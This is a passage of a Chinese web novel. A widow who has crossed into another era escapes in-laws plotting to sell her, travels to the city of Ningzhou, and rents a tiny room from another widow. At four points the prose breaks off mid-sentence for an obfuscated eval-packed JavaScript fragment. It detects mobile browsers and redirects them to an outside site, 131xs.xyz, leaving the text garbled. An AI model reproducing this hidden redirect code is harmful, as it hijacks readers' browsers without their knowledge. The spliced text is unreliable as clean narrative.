细姑赶紧把碗撤到怀里,用胳膊挡住了白霜的热情,“不用!不用!我刚才在那边山上李家的酒肆里出来,吃过了,可吃不下这一些!” 白霜家里艰难,上有老下有下,中间又没有丈夫,一家子怕是难得能吃上肉,况且孩子还在长身体。 细姑拒绝的很坚定,“不信,你问问你家小树!” 李树看看细姑,又看看他娘,点点头。 白霜只好把肉喂给了小女儿,她自己也是一口也舍不得吃的。 菠菜只焯水滴了几滴油,看起来绿油油的,甚是好看,滋味也不错。还有干炒出来的盐豆子,嘎嘣脆,干香干香的。 细姑就着这两样菜,吃了一碗杂粮碎米煮的稠粥。 “白家妹子,你是怎么知道刘春根那几个今天要卖了我?”饭后,细姑喝粗茶问白霜道。 白霜在收拾桌碗,“是小树!他去路边小便,遇到了那几个,听到他们说这话!” 这地方人家,也分家风好和不好的。 细姑被这几个盯上要卖掉,一个是刘家这些人心术不正,另一个就是王细姑和刘洪没有孩子,娘家也隔得远。 她知道自己真被卖到山里去,怕是一辈子也出不来,外面自然也不会有人给她出头。 白寡妇母子当真是她的救命恩人。 喝过茶,细姑就要告别,郑婆子和白霜还想留她过夜,叫细姑拒绝了。 “我在宁州府有个好姐妹,在城里给人家做事,我这就去城里投奔她,也找个事做。等我安顿下来,就托人给你们带个信儿!”细姑撒了个谎。 她不愿留在乡下,也不想去投奔王细姑的哥嫂,只能往大一点的城里去。而且在王细姑的记忆里,她知道宁州府离这儿不算远,现在时候还早,早点出发说不定天黑的时候就能赶到。 白霜眼看留她不住,也只得道:“大姐,我也留不住你,你出了我这门,往东走个几里,有个丁字路,丁字路往南,沿着大路一直走。遇到有车要载你的,不要舍不得几个铜钱,搭了车能早点到城里去。” 随即又叫来大儿子,“小树!你大娘不认识我们这儿的路,你把大娘送到丁字路口再回来!” “我也要去送大娘!”二儿子李果跳了出来。 李树立刻拒绝,“不要!你一会儿又喊累,还得要我背!” 白霜拦住了要作妖的二儿子。 细姑告别白霜一家子,跟李树往丁字路口去了。 另一边,李家酒肆。 刘春根几人又喝了一会儿酒,却还不见细姑回来,几个对视一眼,忍不住嘀咕:“这人怎么还没回来?” 越想越不对劲,几人立刻放下碗中的酒,“店家!刚才那妇人呢?” 老头子正在打酒,掀起眼皮子看了几人一眼,给了个眼神,“后面茅房!” 刘春根冲出后门,只见后门茅房空空,哪里还有人? 折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488896|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 返回来,对着几人使了个眼色,“跑了!” “这臭娘们!跑得倒是快,回头非打折了她的腿!”一个尖嘴猴腮的汉子咬牙切齿道。 “追!我看她能跑到那里去!” 那个尖嘴猴腮的汉子路过陶主事身边,疑心是这姓陶的走漏了风声,坏了他的好事,只是姓陶的人多,不敢惹他,哼了一声,便出去了。 陶主事端起酒碗,冷眼看着几人无头苍蝇般奔出去,心中鄙夷。 反正自己的银钱都已结清,王大娘子的确是大方敞亮人,对她丈夫也是个有情义的,这样的人,只希望她远远地避开这几个祸害! 却说四婶与表哥听到刘春根喊得那一声“跑了”,两人面面相觑,回想起刚才细姑一直说她家里的床桌椅凳、锅碗瓢盆。再看看四婶手里那把钥匙,两人瞬间明白过来——细姑这是要跑路,把家里的物件送给两人。 等不及那几人回过神来,两人紧赶慢赶地回了刘洪夫妻二人租的院子。 两人很快明确分好了东西,铁锅、铁铲、菜刀、碗碟、针线布料、还有那床上的被褥,那都是好棉花做的,都是好东西,这些好拿的都归了四婶。 表哥学过几天木匠,他把东屋的床架子,堂屋的条案,能拆的都拆了,不能拆的箱子、八仙桌都叫他想办法装到了车上——那刘洪四处拉着贩货用的长板车,也归他。 四婶的东西小,好拿,打包好了,用一根扁担挑着就走。 表哥还要拆拆卸卸,最后连两个小凳子也没有留下,只剩了两个木桶破盆。 最后看一眼天色,日头快要升到正当空,怕是刘春根几个找不着细姑也要转回转来,也赶紧把钥匙挂在门上,拉着一车东西走了。 再说这刘春根几个人,沿着山道,把山上,坟地里头,酒肆附近的地方找了个遍,找了半晌也没找到细姑的人影。 几人口渴难耐,回到酒肆。 其他人都走了,只有店家在收拾桌子,其中一张桌子上还放着两张灵位牌。 店家看几人,指着牌位道:“这东西你们还要不要?” 刘春根上前一把夺过,到了店外,便把牌位掼翻在地。 “臭婊子!有本事别叫老子逮着!”刘春根恶狠狠地骂道。 其他几人也没好气,本来他们几个找了山户,有一家兄弟三个准备买个女人回去生孩子,这二十来岁嫁过人的妇人最受欢迎,他们价都谈好了,二十一两银子,一手交钱一手交人。 “二十一两到手的银子没了!本来哥四个一人五两,还能剩点去窑子里喝口花酒!” “现在都没了!” 那尖脸的瘦猴一转眼珠子,“那女人身上的钱办丧事都花的差不多了,走不了多远,咱哥几个回去守着,不怕他不回来!” “说的对!” 等着几人回到刘洪租的院子里才发现,屋里头稍微值钱点的东西都叫搬空了,只剩下满屋破烂,不值几个钱的玩意儿被丢得乱七八糟。 一个水桶就挡在院子中,碍了刘春根的眼,叫他一脚踢翻,滚出门外。 隔壁孙婆子听到动静,出了门来,满脸是笑,讨好地问几人道:“你们这就搬走啦?” 她又指了指外面的桶,“这个你们还要不?不要就送我老婆子!我家里还缺一个恭桶,这个正好!” 几人怒向横生,气急败坏,“死老太婆!滚!” 声音大得把孙婆子吓了一跳。 孙婆子收了笑脸,斜斜楞着眼把几人上下扫了一遍,瘪瘪嘴扭头就走。 “哼!什么玩意儿!还想捞绝户财,吃屎吧,活该!” 说罢,往路边猛地啐了一口。 5. 入城 齐朝的大路官道两旁种的都是柳树和榆树,好种还好养活。 天气晴热,土路被晒得干燥,人走过,车行过,马踏过,都会扬起细尘。 细姑尽力走在路边上都没能躲过,吸了一肚子土,干脆把头巾摘了当系在脸上当围巾,旁人看了也学她。 这个时代没有行路靠右的概念,都是人走两边,马走中间,马车牛车在路中间遇上了稍微往两边错开一点就继续前行。而且路上人少,道路并不拥挤,堵车这种情况很少见。 只是动物们当街拉的屎到处都是,老牛拉屎还要在那站着拉,驴马骡子干脆边走边拉,扬起的细尘里都有一股子粪便的味道。羊就蠢多了,它们看见路边新鲜的野草就停下来,边吃边拉,路边都是一颗一颗的羊屎蛋子,细姑小心翼翼,还好几次差点踩上去。 比起动物,大齐百姓就有礼义得多,他们会找路边的庄稼地或者是行道树施肥,所以路两侧的草木长得比别处都好一些。 一路还算好走,只上了一段坡,过了一道桥。 走得细姑浑身出汗,连薄袄都想脱下来。脚也痛,脚上大约也是起了水泡,鞋底都感觉磨薄了一层。 “这路怎么还有这么长!”连宁州府的城墙在哪儿都没看到,“这也太远了!” 又看看天色,她出发时大约在巳时三刻,也不知道天黑前能不能到? “去宁州府?坐不坐车?”一个老汉架着一辆驴车并行到细姑边上。 驴是头上好的大青驴,车是辆干净的好车,上面都是坛子,不知坛子里面装的什么。 只有这老汉,歪戴着一顶瓜皮帽子,身上的衣服不知道是从哪辈子传下来的,补丁累着补丁。 “老丈!您也是去宁州府?”细姑问道。 老汉呵呵一笑,“我是从城里给人送货,回来再给人带两坛子酒!” “怎么样?坐不坐车?从这到宁州府,少说还有三四十里路,等你走过去,怕是城门都关了!” 细姑想了想,还有三四十里,再走下去怕是腿要废。 不走了!不走了! “多少钱?” 老汉伸出一个巴掌,“十文!” 细姑转过身掏出贴身藏着的手帕,数出十个铜钱,其他的又包好贴身放回去,“给你钱,把我送到城门口去!” “好嘞!”老汉嘿嘿一笑,接过铜板在手里掂量了两下。 正好,又够两天的酒钱! “这边坐!”老汉指了指车头右边。 细姑坐上车,老汉拿着鞭子吆喝一声,驴车再次动了起来。 “你看着年岁不大,有三十没有?” “三十整!”细姑随口接了下去。 “那还是个后生,老儿我啊——五十三了!” “老丈看着精神!” “嘿嘿!” 驴蹄的“哒哒”声里,细姑跟着老汉有一搭没一搭地聊着。 天很蓝,路很长,路边的柳树榆树都泛芽了,有妇人带着小孩在摘树芽儿。 春风怡人和煦,细姑时不时地能闻到驴子身上的味道,混合了毛发、汗水和草料的味道,不算臭,就是动物本身的味道。 四条腿的到底是比人走得快一些,他们到城墙底下的时候,太阳还没落山,进城的人还在排队。 细姑下车跟老汉作别后,找了个队伍就坠在后头跟着排队。 宁州府乃大齐除了京师首善之都外的第二城,前朝旧都。 城墙由石头和青砖垒城。 细姑仰头望去,这墙得有后世六七层楼那么高。 墙上面嵌着灰白的石头匾额,匾额上面三个大字“太平门”。 城外有一圈护城河,河宽数丈,河上有桥,过了桥才是真正的城门口。城门口有守门的官军,查看来往的行人车辆。 等到队伍到了细姑这儿,她掏出户贴路引,看见门壁贴着一张纸,上面写着“入城一文”,又赶紧掏出一个铜板来。 官军拿着路引对着细姑上下打量几眼,“没货不用交钱,走!” 不用交钱,细姑喜滋滋地收起户贴路引,不住地点头,”谢军爷!谢军爷!” 进了城,一下子人多就热闹起来。 沿着一溜城墙边都是摆摊买东西的。卖书的、卖画的、卖伞卖鞋的、算命的、耍猴的…… 最多的还是卖吃的,离细姑最近的就是一家面摊,摊主就一张桌,顶上架个布棚子,支了一口锅,锅里热气翻腾。 细姑饿了。 “老板!你这面怎么卖?” 摊主胖圆脸,面皮白净,看见有人来赶紧招呼道:“二两素面五文,素卤子加两文,肉卤子加五文!您要什么?” 细姑合计了一下,除去坐车的十文钱,还剩七十六文,晚上还要找地方住,得省着点用,“素面!面煮烂些,多给点汤!” 说完掏出五文钱递给摊主。 那摊主接过钱,欣然道:“好嘞!您找个地儿坐!面一会儿就好!” 桌上已坐了一个武夫模样的人在那里吃面,细姑找了个离他最远的桌角。 等面的功夫,细姑问摊主:“老板,这儿哪里有住宿的地方?” 摊主拿着一双粗长的筷子在锅里搅和,“呦!我们这儿是北边,贵人府邸多,客舍少,而且还贵,您要住宿,最好还是去城南,珠市那边,那边行商的多,住的地方也多。” 说话间摊主就把面做好端到了细姑桌前,“您慢用!” 刚出锅的面有点烫,细姑边吹边吃,思量着城南珠市要怎么去。 那武人三十岁上下,脸上留着一蓬短须,闻言主动和细姑说话,“这位娘子,你要去珠市?” 细姑不明所以地点点头,这人找她做什么? 那人又道:“那你可走错地儿了,从这过去,有的走了。” 细姑忙问道:“那要怎么过去?” 武人指指自己的碗,示意让他把先吃完。 他吃完了面,从袖子里面掏出一块帕子擦擦嘴,“从西北水门那边搭个船,又稳当又快!娘子要是不介意,吃完了跟我一起过去!” “诶!”进城遇上好人了! 细姑也不真叫人家在一边久等,捞起面条吹上两口,稀里呼噜地吃了起来。 吃完面,细姑就跟着武人一路沿着城墙往西走,直走到天彻底黑下,就见前面出现一条河,河边几条小船挂着灯笼,在那里等着接客。 武人熟练又随意地找了一条船,“船家,两个人,去珠市!” 临到天黑还有客,船家麻利地解开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488897|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船绳,“一人五文,两人十文!两位请坐好!” 细姑跟着上了船,听到船家的话,忙道:“我来付钱!我来付钱!”说完赶紧掏出钱递给船家,船家收到钱数了数,没错,一把丢进一个陶罐里。 噼里啪啦! “多谢娘子了!”那人道。 “是我该谢您才是,一点船钱不算什么!” 沿河两岸有的是百姓人家,有的是高门大院的院墙,黑漆漆一片,只有几家店铺还未关门,在夜里亮着灯笼。 艄公嘴里哼着不知名的曲子,嘎吱嘎吱地在摇橹,船橹划过河水,“哗——”“哗——”。 越往南走越亮。 桥多、店多、摊多、行人也多。 再行一刻,灯火通明。 珠市到了。 细姑在一座石桥底下上岸,那武人站在船上,手指着东边,道:“大姐,你过了这桥往东走,有家云来客舍,他家干净,价格也实惠!” 细姑在岸边理了理身上的衣服,向他道谢:“多谢这位大哥!” 武人没再说话,招招手,坐船走了。 实惠?细姑听完客舍伙计介绍完价格后,对方才那人的话产生了深深地怀疑。 通铺十文一人,两人一间的通间三十文一人,单间一晚五十,还有更贵的,上等房一晚最少一钱银子! 细姑想想刘洪他们夫妻租的三间带墙的院子,一个月也才三百三十文钱。 这宁州府的生活物价这么高? 店伙计看着细姑的样子就知道是个乡下来的,倒也没不耐烦,“这位娘子,我们云来客舍算是这城里头的上等客舍了,比我们好的没我们实惠,比我们这儿价贱的远不如我们家清净,您呀是没来过,我们这儿回头客多着呢!不信呐,您出去打听打听去!” 细姑心道:这倒不用了,刚才就是有个本地人跟我推荐的你们这儿,我还打听什么去! “那,那我就住五十文的!单独一间!”细姑把手伸进贴身的衣服里,掏出包着钱的手帕,还剩六十一个铜钱,细细地数出十一枚铜钱,把剩下五十枚的都交了房钱。 细姑掏钱数钱的时候,伙计和掌柜对视一笑——果然是乡下来的! 验明了户贴路引无误,伙计领着细姑上了二楼,右拐第三间。 门一开,房间看着也就六七个平方大小。 虽然小,但确实干净,而且样样齐备——床铺被褥、桌子椅子、脸盆架子,一样不缺。 细姑觉得这钱花得值。 “明日午时之前退房或者续租都行,娘子,您要热水么,洗脸洗脚,两文钱一壶!”伙计照例说道。 “水还要钱?”细姑大为震惊,她在后世出门住酒店的时候只要付房钱,从没听过说水钱还要另外给的。 那伙计耐着性子解释,“烧水要用柴,柴可是要花钱的!” 细姑还是掏钱买了一壶热水。 她脚疼,而且满脸灰尘,说什么也要用热水洗一下的。 再说了,她还有天地银行每天发的“工资”,倒也不用在这方面刻薄自己。 用热水洗漱过后,细姑将用过的脏水拎到门后,明天自有人收拾。 一天下来,疲于逃命的细姑躺到床上,忍不住感叹:还是床舒服—— 6. 住 细姑睡得像是死了一样。 没有任何人、事或者声音,能惊动这具沉睡的“尸体”,空间里银子到账的声音也不行。 实在是太累了。 所以当她醒来静静地躺在那里时,就像是一株植物,没有一点儿动静与思想。 但她毕竟还是有眼睛的,当太阳的光线透过纸糊的窗户,融进她的眼睛,她的神智也慢慢生长出来。 神智生长的缓慢,生命的本能却是立竿见影的——她饿了。 “吃什么?”细姑面朝房顶喃喃自语。 没舍得再叫热水,细姑用冷水洗了把脸,便下了楼。 一楼大堂的柜台前早已站满了来退房或是续租的行商旅人。 店伙计一见到细姑下楼,立刻上前来,“客官您起了?您续租还是退房?” 细姑不答反问,“小哥,现在什么时辰?” “辰时三刻!” 细姑换算了一下时间单位,也就是早上七点四十五分左右,午时,也就是十一点之前退房。 还早呢! “我出去转转,等回来再说!”说完就要出门,想起什么又转过身来向伙计问道:“小哥,这兑换银钱的钱庄铺子怎么走?” 伙计低头弯腰,手指从细姑眼前一划,指着门外的石桥道:“您沿着这条道往北走,到了永安大街右转,有家顺昌老号。” 顺昌老号一大早上就有很多人在排队兑换金银铜钱,细姑跟在后面都排到了巷子口。 她手里拿着个芝麻饼,前后左右地乱看,觉得排队换钱这个事儿有趣、新鲜! 宁州是前朝旧都,道路水运发达,南来北往的客商旅人繁多,自然钱庄金银铺子就多。 来顺昌老号兑换银钱的人很多,有男人也有女人,男人多女人少,但是细姑这样的女人却是仅此一家——谁家来换钱财不是低调行事,哪有人这样张头晃脑的! 于是各人看好自己身上的钱财,拿眼觑着细姑,不约而同地离了细姑一小段距离。 顺昌老号进门就是一副假山水,山水后面是一副巨大的白石屏风,屏风两侧有一副对联“百业兴旺”、“五谷丰登”。 大厅左右两侧各有两个被隔栏围起来的柜台,左边写着“兑铜”,右边写着“换银”。 细姑要去左边 。 换铜钱的时候,就见客人把银子放在柜台上,里面的伙计拿起一把小称,称完了再拿剪刀剪开,验明成色,换出铜钱,再把兑铜的利钱扣除,剩下的交付给客人。 看到前面几人拿出的银锭或是碎银,细姑心里咯噔一下,她终于知道哪里不对劲了——空间里面的银钱太新太亮,成色太好,纯度太高了,根本就不是这个时代能造出来的东西。 完了,这银子还花不出去了! 排队排到细姑时,她只能拿出自己仅有小拇指头大的银角子摆在台上。 柜台里的伙计嗤笑一声,拿起银角子称一称,“二钱三分五厘”,再用剪刀一剪,“水色八分有多”,收下银子,“兑铜两百文整”,拎出两串铜钱,又从里面取下两个铜板,“本号利钱百取其一,五十封顶,剩下的都是您的,您拿好!”伙计把铜钱推到细姑面前。 细姑拿上起铜钱,问道:“这就好了?” 伙计见怪不怪,道:“本号足银足陌,童叟无欺!您要是不放心可以在一边数数清楚!下一位!” 细姑把两串钱盘在手心掂量了一下,大概有一斤多点,随手拨楞几片,有新有旧,都是上等铜钱。 至于数量,懒得数了,这么大的钱庄总不至于在这点儿钱上坑人。 永安大街的路面由条石铺成,六丈宽的道路,两边店铺林立,但是似顺昌老号这样气派的店铺却也没有几个,其他的都是诸如豪商高官府邸,看起来极为气派。 细姑想租间房,先安顿下来。她记得古代是有类似房产中介的生意人。 可这一家家看过去,各种古玩玉器,珠宝首饰,南北杂货,还有医馆药铺,也没看到哪儿有房产中介。 最后细姑只能硬着头皮走进一家卖扇子的店,“嗯——店家,我想租房,这哪里去找租房的人。” 店家道:“你要找房牙?” 房产中介叫房牙? “你等着,我给你喊,张房牙——有客看房!”店主冲着外头喊了一嗓子。 不一会儿店铺斜对面的巷子里跑出一个人来,边跑便对着细姑这边招手。 来到近前,张房牙问细姑:“娘子,你要租房买房?” “租房!”细姑回答。 张房牙和店主打了个招呼,随即道:“单人一间的还是带院子的?还是跟别人合租一个院子?” 细姑想租个带院子的,“带院子多少钱?” “您这边请!”房牙做了手势把细姑引导另一边,“带院的一个月最少八百文,带两间房的一两一个月,位置好点的最少一两二钱。” 这么贵? 细姑伸手摸了摸胸口揣着的二百文钱,问道:“单人一间呢?” “单人一间最少三百文,好一点的四五百文。”房牙已看出来细姑囊中羞涩,价高的他都没敢说。 细姑抿嘴,尴尬地看了房牙一眼,“不好意思,我再回去考虑考虑,考虑好了再来找您。” “诶!您跟我去看看,价格我帮你跟房主人讲!” 细姑挠了挠头,“不用了!不用了!”她想走了。 “诶!行吧,那您记着我这地方,您看这儿!”张房牙指着巷口一个店铺,“张家房牙!” “好!好!好!” 两百文钱在宁州府这个地方,大概只够吃住几天,旁的什么也做不成,细姑决定先回云来客舍,再想其他办法。 回到客舍,坐在床上,细姑看了一眼房间,开始泛起愁来:身上这点钱最多只够住上两三天客房,啧!虽然城里居大不易,但是乡下就自己一个寡妇,怕是连人身安全都保不住。要不再租一天,下午就去找找自己能干点什么。 卖力气?王细姑的记忆中好似也没做过什么气力活。 女工?针线?纺织?她完全不会! 奶妈?给人看孩子?自己虽然学的是学前教育专业,也考上了编制,但是完全没怀过孕生过孩子,这能行吗?要不到时候也吹嘘一下简历? 不行就做菜当厨子?可自己只会煮点稀饭泡面啥的,其他最多炒个青菜,这个时代又没有煤气灶电磁炉,她连生火都不会。 细姑真是越想越绝望,自己真是干啥啥不行,废物第一名! 还有这个所谓的金手指!她用意念取出四个形状不一,但是分量一模一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488898|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银块。 四块约六分之一手掌大小的银块托在手上,崭新、光亮、闪瞎人眼。 “我怎么给它掺点假弄旧一点呢?”细姑对着银子琢磨。 “叩!叩!叩!我进来了!”门外有人! 细姑吓了一跳,赶紧把银子收到怀里,看向门口。 来人是个年轻的妇人,看着也就二十三四岁,圆眼,看起来和善又有几分漂亮,瘦得有点厉害,衣裳都快要撑不起来。 她身后坠着一个小姑娘,四五岁的样子,大眼睛圆嘟嘟的脸,头上顶着俩小鬏,一看就是那妇人的女儿。 小姑娘从母亲身后漏出头来,大眼睛好奇地看着细姑,冲着细姑笑了一下。 “你们是做什么的?”细姑放下了戒心。 那妇人赶紧拉过女儿道:“客舍这边午时之前退房,现在辰时都过半了,我来洒扫清理一下。” “哦!那你忙吧!”细姑没有为难她,示意她可以打扫。 那妇人动作很是利索,不一会儿边将房间里里外外都擦洗了一遍,连窗框子都没放过,最后拎着脏水桶要出去的时候,妇人在门外左右看了一眼,又退回来,悄声说道:“这位娘子,我刚才在门口听见你叹气,是为了住的地方犯难吗?” 细姑看着妇人的眼睛,“你有地方?” 妇人点点头,“我住的地方就我和我女两个,你要是愿意,地方分你一半,你一个月给我一百二十文钱就行!” 细姑心动了,她看了一眼门外,以防伙计突然出现,“回头怎么找你?” “我还有三四间房,打扫完就下工,你到外面桥上随便找个地方等我,我一会儿出来了找你!” “就这么说定了!”妇人说完拎桶去打扫别的房间了,小姑娘走之前又好奇地看了看细姑。 细姑看这个小姑娘和自己的小侄女差不多大,心中很是喜欢,便笑着对她做了个“拜拜”的手势。 宁州府的百姓做生意连一点犄角旮旯的地儿也不放过,桥下那么点地方就挤了二三十个摊位,还有流动摊贩,脖子上挂着一个大点的盒子,或者手上举着个插满玩具的杆子,就能沿街叫卖。 细姑点了一碗羊汤,要了一个饼子就着羊汤当午饭吃。 她刚把最后一口汤喝进肚里,那个客舍洒扫的妇人就带着孩子找过来了。 “叫您久等了!”妇人很不好意思。 细姑不在意,“你们吃了没有?” “我们回去吃,家里有米,现煮就成!”妇人赶忙道。 大人能客气,小孩子可不会。 小姑娘的眼睛都快长到羊汤锅里去了,紧紧抿着嘴巴,偎在母亲腿边。 细姑看不得小孩子饿肚子瘪嘴的模样,小孩儿长身体,饿着肚子比大人更加难受,“老板,再来一碗羊汤,两个饼子,要大碗,汤里再加份羊肉!” “诶!好嘞!您几位坐那儿等一下,马上好!” 妇人还想拒绝,“怎么好意思呢?这什么都没帮您做!就得了您一份吃的。” “不是给你吃的,给孩子吃的!”细姑冲小姑娘笑道:“快叫你娘别念叨了,羊汤冷了就不好吃了!” 四五岁的小姑娘当然吃不了那么东西,又不能浪费,只能接受了细姑的好意先把孩子喂饱,剩下的自己吃了。 回到 7. 丽娘 细姑跟着妇人过桥,穿过大街,又绕了一段小路,来到一处入口极狭的巷子。 一路上妇人做了自我介绍。姓丁,名字叫丽娘,才二十三岁,丈夫也姓刘,可惜也死了,如今只有母女俩相依为命。 小姑娘叫刘月儿,正好五岁。 刘月儿人小,吃饱喝足了正趴在母亲肩头睡觉。 细姑跟着丁丽娘,沿着窄巷一路走到底,再拐个弯,就到了一扇破旧的柴门前。 丁丽娘开了门,让细姑先进去。 门后的世界让细姑开了眼界——世上竟有这么小的院子! 院子就两步宽,勉强能让人蹲下身烧个火。 细姑不能理解这房主做什么还要留着这个院子,都盖到房子里面也不能让房间大出多少! 但是做房主就是有能耐——他在这里隔出了两间房! “西边那间大点儿,是一对夫妻,外地来的,男的学木匠,女的在跟人学织绸,下个月就搬走了。”丁丽娘解释道。 打开东边房门,屋子小得让细姑又惊到了——足有六尺见方! 她估算了这屋子也就后世三四平米的样子。 细姑有点后悔。 屋子里搭了一张简易木床,占据了大半的空间。 桌椅一概没有。母女俩不多的一点东西都堆放在床底和墙角。 丁丽娘把女儿放在床上,脱了鞋子露出一双小脚丫来,细心地盖上半个被角儿。转过身来不好意思地攥着袖口,道:“大姐,你不要嫌弃,地方我都收拾得干净,你放心!” 她又指着放着罐子和木桶的地方,“床小,等下我在那儿再搭一截出来,一定够住的!” 细姑知道孤儿寡母的日子艰难,但是没想到难成这样,她没想拒绝丁丽娘,只掏出了铜钱——一整串再加上二十文,一起递给了丁丽娘,“房钱!” 丁丽娘神色有些愧疚,她接过钱,随身放好,“大姐,你先坐,我找点东西回来,很快!” 说完,丁丽娘出门去了。 细姑就在房间院内四处看看,其实没什么好看的,屋内除了床,最大的就是个桶,桶里有半桶清水,还有一个木盆、一个陶罐、一个似乎是用来装米面的布口袋,母女俩的衣物就叠放在床头床尾。 细姑庆幸自己逃出来的时候身上没有带任何行李包袱,不然丁丽娘这间屋子可没处给她放东西。 她伸个头就能把头伸出门外面。 门外,靠近墙角处丁丽娘用碎砖头垒出烧火的地方,底下有一些草木灰,贴着屋角这边还有木柴和稻草。 这就是丁丽娘母女生火做饭的地方。 没什么好看的! 细姑靠墙坐在床上,心道:先凑合几天! 刘月儿睡得小脸红扑扑的,也不知道做了什么好梦,“咯咯咯”地笑起来。 很快丁丽娘带回了不少东西——一个高脚凳,一块颜色错杂的木板,还有几片绿菜叶子。 她一回来,就把屋内的东西收拾出去,然后动手给床加了一截,又铺上稻草,最后盖上一块布。 这床就算是拼好了,看起来像是一个口字只保留了左面一竖和上面一横两个笔画。 只是这下屋里真的没法站人,人一进来进门就得上床。 “你睡这边!”丁丽娘指着“新床”。 细姑看看床,又看看丁丽娘,点了点头。 趁着刘月儿还没醒,丁丽娘又从床头掏出针线,拿着布条给刘月儿的衣服袖子上加一点袖口,“袖子短了,哎,大姐,你裙子后面破了一点,等下我给你缝上吧。” 细姑闻言把后面的裙子往前转了半圈,果然看到破了一个细口子,“那麻烦你!”细姑没有拒绝。 丁丽娘摇摇头,笑道:“不麻烦!很快的!” 两个女人有一搭没一搭地聊着,丁丽娘看看外头的天色,有些遗憾道:“今天去不了枇杷巷了!” “枇杷巷是哪里?去哪里干嘛?”细姑好奇地问道。 丁丽娘看了她一眼,“就是花街!” “青楼?” “对!就是青楼!在贡院南边,过了一条河就是,那边馆舍多!” 细姑有些不理解,“你去哪里干什么?” 丁丽娘叹了一口气,“那边的小姐姑娘都是自己不洗衣服,雇人洗的。运气好的时候,半下午能赚十几二十文钱,少了也有十文八文的!” 原来还能给人洗衣服赚钱,细姑又问:“那其他其他地方没有衣服洗吗?” “有,都是些没老婆的汉子,价钱低,衣物脏得没法洗,忙一天下来,挣得也未必比枇杷巷洗一两件挣得多。” 原来如此! 细姑也想去,跃跃欲试道:“那我能去么?” 丁丽娘看看细姑的手,虽然不是小姐那般白净,但是没有冻疮破皮,也不十分的糙,“你的手干净,说不定还能洗两件好衣裳呢!” 她把自己的手伸出来,上面有许多的冻伤和裂口,“我现在就洗不了,只能洗一点粗布或是大件的。” 晚饭是用陶罐煮的粥,碎米和一点菜叶子。 细姑用碗喝粥,丁丽娘母女俩只能拿着木勺就着罐子喝。 “本来有两个碗的,前几天打碎了一个。”丁丽娘解释道。 刘月儿立刻举起手,“我打碎的!” 细姑逗她,“这么说你还挺能干的?” 刘月儿理所当然地点头,“嗯!我爹也这么说!” “哈!哈!哈!哈!”细姑大笑起来。 这孩子倒是挺骄傲! 丁丽娘宠溺又无奈地看着女儿,随即像是想起什么,眼角泛起泪来,不敢叫人看见,用手悄悄抹去了,“快吃你的!一会儿都凉了!” 饭后无处可去,穷人的地方分毫必争,屋子、院子、巷子都窄,再说天黑,几个妇孺也不敢出去,只能都去床上躺着坐着。 刘月儿下午睡多了,晚上一直不睡,叽叽喳喳地说话。 不知怎么说到她爹,“娘,你说爹住的地下远不远?我什么时候能去地下找他?” 丁丽娘忙拍拍女儿的嘴,“呸!呸!呸!小孩子家家的,童言无忌!童言无忌!” 细姑听着母女俩说话,觉得好玩有温馨,忍不住说道:“人死了会变成天上的星星,你想爹,晚上一抬头就能看见了!” 她很早以前就听过这个说法,但是那时候才十几岁,在学校里学了满脑子的数理化,对这种骗小孩儿的说法嗤之以鼻。 现在想来这话不只是来哄孩子的,也是编故事的大人用来哄自己的,否则宇宙茫茫,活着的人又到哪里去给思念找一份寄托呢? 丁丽娘打开门,两大一小三个人一齐看向夜空。 天上的月亮圆了大半,还垂在半空,星星不多,大大小小的几颗。 “天上好几个爹呢!”刘月儿语出惊人。 细姑和丁丽娘愣住,随即笑出声来,刚才的一点伤感荡然无存。 “睡吧!睡吧!我的小姑奶奶!”丁丽娘笑得流眼泪。 “不行!我还要看爹!”刘月儿不知道大人在笑什么,但她小人家有自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488899|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚持。 小孩子到底熬不过,被亲娘哄着哄着也就睡着了。 屋里静悄悄的。 “吱呀”一声,院子外面的门开了。 “我们隔壁!”丽娘悄声道。 细姑“嗯”了一声。 隔壁夫妻的动静窸窸窣窣,偶尔有几声话语。 